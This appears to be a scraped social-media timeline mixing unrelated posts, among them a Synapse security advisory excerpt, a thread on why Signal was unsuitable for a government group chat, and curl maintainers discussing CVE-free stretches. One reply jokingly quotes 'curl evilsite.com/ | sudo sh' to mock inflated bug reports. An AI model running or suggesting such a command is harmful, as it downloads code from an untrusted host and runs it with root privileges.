Tuta guarantees your data stays private for free & without ads. Quantum-resistant encryption makes Tuta the best secure technology solution to protect your privacy.
Not a libcurl user in this regard, so feel free to disregard, but definitely agree, I hit a similar issue with CXF which reencodes URLs unexpectedly, which breaks SAML2 signatures. (issues.apache.org/jira/browse/…) @afink
Happy #DocumentFreedomDay everyone! 🤩 Today, the Open Source Club at OSU had members present templates made in the open OPT standard, bringing more creative resources to the open format community at large! Big props to @dff and @libreoffice for all the work they do in bringing accessibility and sovereignty to people’s academic and professional digital lives. 😎 We can’t wait to do it again next year!
Monarch Tactile Display V1.2 software update webinar from Humanware discussing new email app, stable web browsing (Ecosia), eBraille Treasure Island to support Braille/tactile graphics, and the Wing It app to draw from iPhone to Monarch in real time plus labelling of said tactile/drawing. mcdn.podbean.com/mf/web/khkjrk…
The decision to shutter VOA “portends ever more troubling repression of independent journalism in the United States.” - Jim Friedlich chicago.suntimes.com/other-vie…
The president's decision to shutter the global news organization portends ever more troubling repression of independent journalism in the United States.
Issue #13 touches on this, but I think it warrants its own section in addition to ethical aspects. While the Web Sustainability Guidelines are structured as a recommendation and testing framework, ...
Enjoy this showcase of amazing work done by the Blender Community.See everything new in Blender 4.4 https://www.blender.org/download/releases/4-4/Credits:Dre...
This months Reaper Made Easy meet-up happens this Saturday, March 29th, at the slightly irregular time of 3PM Eastern and 7PM UK. The change in time is of course due to the very evil Daylight savings time changing on different dates in different time-zones. So this is just a heads up for those who live where the clock has not changed to summer time yet. Such as the UK.
I so wish they'd stop doing that. Aaarg.
With that frustrated growl out of the way, Saturday. Scott and JennyK will be live, helping as much as we are able for a couple of hours. It's all about using Reaper, Osara, and how we go about this accessibly. Beginner questions take priority in these streams so don't hesitate to ask. If you have a question, chances are others have that very same question in their head as well. It's a win win win to bring it to us. We all learn together here.
All you need to know about connecting with us via TeamTalk or listen in by other means can be found on reaperteacher.com. and do hit the upload button on that site and send us something to listen to during the stream. We try to give a bit of feedback and troubleshooting if that is something you'd like. We all learn and have a bit of a chaotic few hours of fun on these meet-ups so do join.
There will be a reminder before go-time on Saturday.
- get a json-glib JsonNode from the caller - reserialize to a string - pass the string to Rust code - deserialize with serde - spit back out an IpuzStyle to the C code
And this seems to be a nice, temporary way of moving libipuz's JSON code gradually to Rust.
This is a work-in-progress effort to do the JSON processing in Rust, both deserialization and serialization. First, I'm using it as a learning exercise for serde_json,...
We had an amazing morning. Cannot wait to share this little story in detail some day. For now, here's the culmination of our joy when Tashi got to photograph the hand of Kumari :)
The art of finding joy in photography, and making other people happy in the process. Update from Nepal as we wind up the first stage of filming in Kathmandu.
An off-cycle Synapse security release is out to address a High severity vulnerability (CVE-2025-30355 / github.com/element-hq/synapse/…). The issue can disrupt federation and is being exploited in the wild - please upgrade as soon as possible!
### Impact
A malicious server can craft events which, when received, prevent Synapse version up to 1.127.0 from federating with other servers. The vulnerability has been exploited in the wild.
...
Questrial, designed by Joe Prince and Laura Meseguer
During colonial times, European colonial powers in Africa made their languages the official ones. Many African languages still lack typographic support, making it hard to write them correctly due to missing letters and diacritics in most fonts. In post-colonial times and to address the lack of open source fonts for African languages, @googlefonts gave me the task of expanding Questrial for that purpose
Questrial is the perfect font for body text and headlines on a website. It's modern style, suited with past characteristics of great typefaces, make it highly r
Docker is an essential tool for developers and system administrators working with containerized applications. This guide provides a comprehensive overview of…
I want to talk about this Associated Press article: apnews.com/article/hegs... Specifically, this sentence. I don't like this sentence! The wording implies Signal has known vulnerabilities. That's untrue. I think more people should use Signal, & don't want reporting to discourage people from it.
The Atlantic has released the Signal chat among Trump senior national security officials. It shows that Defense Secretary Pete Hegseth provided the exact times of warplane launches and when bombs would drop — before the men and women flying those att…
The paragraph is *trying* to make a good point: The app is insecure for the purposes Hegseth & co were using it for. However, the "vulnerability" referred to here is *common among any app you can install on your phone*. Here are the problems with using Signal *for the purpose Hegseth did*:
1. Even if the messenger is secure, your phone can be hacked. Phone OSes, especially from Apple, are pretty secure. But if your adversary is a nation-state, they sometimes find OS-level vulnerabilities. Pete Hegseth and Marco Rubio should assume they will be targeted by a nation-states.
It's possible Hegseth and Rubio are only doing work on phones cleared by White House technical staff and thus as secure as they could be. However, there were many people in the chat, and it is known that at least one member on that chat (Jeffery Goldberg) was using an insecure personal phone.
2. Even if the messenger & phone are secure, the user can be hacked. Encryption doesn't help if the recipient of the message voluntarily shows it to another person. Or semi-voluntarily, even: "under threat", or "under subpeona from a government" or "accidentally CCed Jeffery Goldberg like a goofus"
When the AP says the Defense Department cautioned against Signal, they meant this: www.npr.org/2025/03/25/n... This is a hack on a *person*, not the Signal app. The idea is Signal can be installed on more than one device. This obviously means that messages sent to you go to all devices. (1/3)
The DOD believes that Russian agents are attempting to trick DOD staff into adding the hostile agents to the DOD staff's Signal accounts, so that all their messages get forwarded to them. That would be bad, actually! It's not an attack *on Signal*. It would work with other types of messengers. (2/3)
Signal also made changes in February making it harder to get phished like this; the UI now follows up awhile after linking, to make sure you meant it. If you want to verify the linked devices on your Signal account are legitimate, go to "Settings" on your phone and then tap "Linked devices". (3/3)
But that's *you*. As for the DOD— The fact Mike Walsh was *able* to CC Jeffery Goldberg *is* a sign of why Signal is inappropriate for the White House's use! In Signal's address book your personal and professional contacts are commingled; there are no data access controls on who can join a group.
Continuing: 3. Certain kinds of government information should only be accessed at specific secure sites. A good demonstration of this is that one member of the Hegseth chat—Steve Witkoff—was at that point physically in Moscow, visiting the Kremlin. (The White House says he didn't bring his phone).
The US government has entire systems whereby sensitive data doesn't leave certain rooms, and is seen only by cleared people who are entered in an access log. If you send a message to *eighteen cell phones*, the information could be anywhere, be shown to anyone, or seen over a recipient's shoulder.
The chat included operational details of a specific bombing run. It's unclear why, say, Steve Witkoff was on this chat. Or the two people from the Treasury department. Did *everyone* need *all* these details? Honestly, Goldberg had *more* reason to review this data, to the extent he's a journalist!
It seems like information was being shared with this group chat simply because it is cool and interesting, and shared with members of the executive who simply would find it cool to be in the loop. Moreover, it seems the Trump WH is doing this regularly. How many other "small group" chats are there?
Are any of these observations useful to you, a non-member of the US Executive Branch? Well, here's the lesson: *Certain types of information simply should not be on the computer at all* No computer system is perfect. No method of interacting with computers, phones, websites is perfect.
I mentioned above if you message on Signal, the logs could get subpeonaed. I didn't mention that Signal has a "disappearing messages" feature, which could prevent that. But the other party could screenshot or copy the messages before the disappear. If that's a problem, don't put it in the computer!
4. Government officials are subject to record retention laws that you are not. I wrote about this last night— there's already been a lawsuit filed over the "Houthi PC small group" because of this: bsky.app/profile/chri...
When the executive branch makes decisions, records need to be preserved for - Auditors and law enforcement, later investigating if a crime was knowingly performed - The *next* executive branch, in four years, following up on the decision - Historians, when everything's declassified decades from now
There are laws about this. One expects the executive branch should be using communication methods/servers that comply with these laws. Signal—where by design no one retains or has the ability to read messages except the recipient's own phones—surely doesn't. I believe this is *why* they used Signal.
To summarize - The use of Signal in the "Houthi PC Small Group Chat" was legitimately bad, for security, opsec and legal reasons - Signal is agreed by security experts to be the best available messenger; you should install it; it can and should replace your regular IM/SMS app.
A reminder that if you're interested in #SVG and the #WebStandards process, and specifically about trying to get SVG standardization back into gear, there is an open meeting on the topic today. It's hosted by Eric Meyer ( @Meyerweb ) of Igalia, as part of W3C Breakouts Day.
Starts in 5.5 hours. You'll need a w3.org account to sign up; meeting is via zoom with irc chat.
The World Wide Web Consortium (W3C) is an international community where Member organizations, a full-time staff, and the public work together to develop Web standards.
There will also be a video of Eric's opening presentation.
We didn't come up with any grand solutions in 1 hour, but I think there was a loose consensus on the following priorities:
- Getting a published SVG standard that is consistent with browser SVG implementations. - Creating a comprehensive test suite to identify interop issues. - Using smaller feature module specs in future.
There's also the public email list, www-svg@w3.org, but the only messages it gets most months are automated github issue summaries: lists.w3.org/Archives/Public/
If you're interested in committing more time & energy you could apply to be an invited expert on the SVG working group.
But really, the reason for this one-off session was that all productive discussions on SVG standardization has stalled.
@doctormo Thanks, maybe indeed I should pay more attention to the repo's issues. I have looked at some of them in the past, but haven't really had anything to contribute.
My personal interest is in clarifying some things in the spec - but I'd have to trawl through librsvg's bug tracker to find places where we mention such things :)
(Also getting one or two features finalized, so librsvg can have parity with Inkscape - gradient meshes come to mind.)
@doctormo Also, fixing bugs in the pseudocode that the spec provides. There are issues about the svg2 text layout pseudocode, and I yet have to see why all browsers except WebKit render feTurbulence incorrectly.
@federicomena @doctormo It would certainly be helpful if you could file issues against the SVG spec whenever you run up against something that is unspecified, unclear, inconsistent, or just plain wrong.
However, do be aware that for a few years there really hasn't been anyone doing anything with those issues & it might be a while yet before that changes.
Also, apparently the build system is broken & editorial fixes that have been merged in the repo aren't showing up even on the Editor's Draft.
One of the more outstanding complaints about Super Egg Hunt has been the egg beep. apparently it can become headache inducing. So. What would happen if we gave the user the option to change it? check out this super Egg Hunt demo. and while you're listening, reply with all the changes and differences you hear.
I like the menu music and the different options. I personally prefer the egg beeping sound, but like the idea of having other sounds instead. The other game modes sound like fun as well.
Celou zimu jezdím bez újmy snad po každém myslitelném povrchu. A pak udělám školáckou chybu za mokra na tramvajovém pásu 🤦♂️ Kolo má pár šrámů, já pár modřin, ale dopadlo to asi nejlíp, jak mohlo. Podařilo se mi celkem dost zpomalit a pak si v motorkářském stylu lehnout. Helmu jsem měl, ale naštěstí nepotřeboval. A dokonce i oblečení přežilo 😅 Teď se budu chvilku téhle trase vyhýbat 🙈
“Italian tax authorities argue that user registrations with X, LinkedIn and Meta platforms should be seen as taxable transactions as they imply the exchange of a membership account in return for a user's personal data.” reuters.com/technology/italy-h…
Google makes Android development private, will continue open source releases Google says this change will simplify things for developers and OEMs. arstechnica.com/gadgets/2025/0…
As always in #uspol, what’s controversial here is not that an American bomb leveled an entire apartment building in #Yemen killing 53 people (both Republicans and Democrats believe such operations are permissible), only that the plans to do so were discussed on an unsecured chat #signal #signalgate
YouTube is changing the way it counts views on Shorts, as the platform will start taking into account the number of times a Short starts to play or replay.
This is a repository of apps to be used with your F-Droid client. Applications in this repository are official binaries built by the original application developers, taken from their resp. repositories (mostly Github, GitLab, Codeberg).
@loowiz and even as reproducible build 🤗 Waiting for you to switch from pre-releases to "real ones", so our recipe updater stops complaining 🙈
And yes, I have a few crawlers running here to find interesting apps to add. While IzzyOnDroid gained some popularity meanwhile, not all developers are aware of it and know they can request inclusion. Thanks to FOSS licenses giving us the 4 freedoms – and thanks to you applying such a FOSS license
Today is my birthday and the release on my album on audiotape and VHS!
"Objectivity" is an audiovisual critical study of the western industrial paradigm that sees nature as something that can be analyzed, tamed and counted.
Side A is a deep drone trip through analogous soundscapes. Side B is a versatile compilation, from a post-punk song "Predmet" to a musique concrete opus Holo Electron using a weird French machine from 1960s that is supposed to heal all your pain using electromagnetic waves. "Proctor" is a drone walk through the northern sea using analogous wooden synthesizers made by a friend of mine from Karelia. "Dissolution of Hierarchy" is a drone hymn to equity of all sounds.
The album can be purchased as a hard copy or downloaded for free or for a donation here:
We are raising funds for physical therapy for my little daughter Lila who suffers from epilepsy. All money raised will help us cover medical costs of her physical and language therapy.
Following popular request, here is a proper announcement about editing and deletion of messages available in app stores now. It briefly highlights how Delta Chat actually works contrary to how even some experts thinks it works :)
TL;DR Delta Chat is not a classic e-mail client. It uses special messages to co-ordinate encryption, metadata and group interactions and now edit/delete. Delta Chat implements a Peer-to-Peer messaging paradigm without any server state.
No need to blush or melt in agony after sending a message anymore! Editing and deleting messages is now available in most app stores :) How is this possible you might wonder? There are three core p...
How can you get started in the Fedora community? You can introduce yourself on our forum at Fedora Discussion! We love to meet new people and help them find a place within the project.
1/2 "Ideme ďalej: v koalícii je nateraz poriadok. Zároveň však ďalej nejdeme: Slovensko neurobilo krok dopredu už viac ako desaťročie.
Namiesto toho je zaseknuté v nejakej obludnej časovej slučke, v ktorej tí istí ľudia majú stále tie isté škandály a vysvetľujú ich stále rovnako a so stále rovnakým výsledkom. Intelektuálne je to výživné asi ako nosenie dreva do lesa, aj písanie receptu na zemiakovú kašu je zaujímavejšie."
2/2 "Teda: niežeby sa nič nedialo, deje sa toho viac ako dosť, len je to zúfalo jednotvárne a absolútne nepodnetné – lebo čo presne je podnetné na Andrejovi Dankovi, Matúšovi Šutajovi Eštokovi a Robertovi Ficovi?
Obmedzení influenceri nakrúcajú videá, vykrikujú z obrazovky, akoby toto bola tá politika, akoby sa takto riadila krajina. A Slovensko? Na Slovensku sa zatiaľ žije zle."
Ale to potom aj dalsia nova strana by bola len sucastou toho "vela sa deje, ale nikam sa neposuvame". Tot ak by sme len zalozili stranu a <vynechane bezne veci> obsadili funkcie.
Aj ked samozrejme nadalej hovorim, ze Kacica minister by bol oproti ostatnym dekadam POSUN VPRED.
Custom images from an asset catalog don't automatically resize with text. If an image is not purely decorative, we should ensure it scales appropriately when users adjust their preferred font size. We can easily do it with the ScaledMetric API in SwiftUI: nilcoalescing.com/blog/Adaptin… #SwiftUI #iOSDev
Make SF Symbols and custom images adapt to different font sizes while maintaining layout balance, keeping key icons clear, and providing more space for higher-priority content when needed.
Gina Häußge
in reply to daniel:// stenberg:// • • •Cees-Jan Kiewiet
in reply to daniel:// stenberg:// • • •NH's "Play-by-Play" Guy
in reply to daniel:// stenberg:// • • •daniel:// stenberg://
in reply to NH's "Play-by-Play" Guy • • •daniel:// stenberg://
in reply to NH's "Play-by-Play" Guy • • •@egall.bsky.social within the last three years, we had 224 days of no reported CVEs before 2022-04-27 when we announced four CVEs at once.
More recently, we managed a 119 day gap that ended on 2024-07-24.
The project record was in the early days: the 1024 days before 2003-08-03.
(This counts time between public announce dates, not reported-to-project dates.)
Elias Mårtenson
in reply to daniel:// stenberg:// • • •"If you type 'curl evilsite.com/ | sudo sh', your system will be pwned.
CVSS 10.0! REMOTE CODE EXECUTION! FIX NEEDED IMMEDIATELY! WHERE IS MY BOUNTY
ראשי - OSSN
OSSNStefan Eissing
in reply to daniel:// stenberg:// • • •Man2Dev
in reply to daniel:// stenberg:// • • •